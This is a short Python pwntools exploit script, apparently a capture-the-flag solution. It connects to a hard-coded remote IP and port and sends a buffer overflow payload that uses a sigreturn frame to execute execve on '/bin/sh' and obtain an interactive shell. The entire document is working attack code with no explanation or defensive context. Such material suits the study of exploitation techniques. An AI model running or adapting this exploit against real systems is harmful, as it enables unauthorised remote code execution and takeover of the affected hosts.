#!/usr/bin/python3

from pwn import *

io = remote("161.97.176.150", 2525)
context.clear(arch="amd64")

binsh = 0x41250
pop_rax = 0x41018
syscall = 0x41015
ret = 0x41017

def frame():
        frame = SigreturnFrame(kernel="amd64")
        frame.rax = constants.SYS_execve
        frame.rdi = binsh
        frame.rip = syscall
        return bytes(frame)

def main():
        payload = b"A"*8
        payload += p64(pop_rax)
        payload += p64(0xf)
        payload += p64(syscall)
        payload += frame()
        io.sendline(payload)
        io.interactive()

if __name__ == "__main__":
        main()
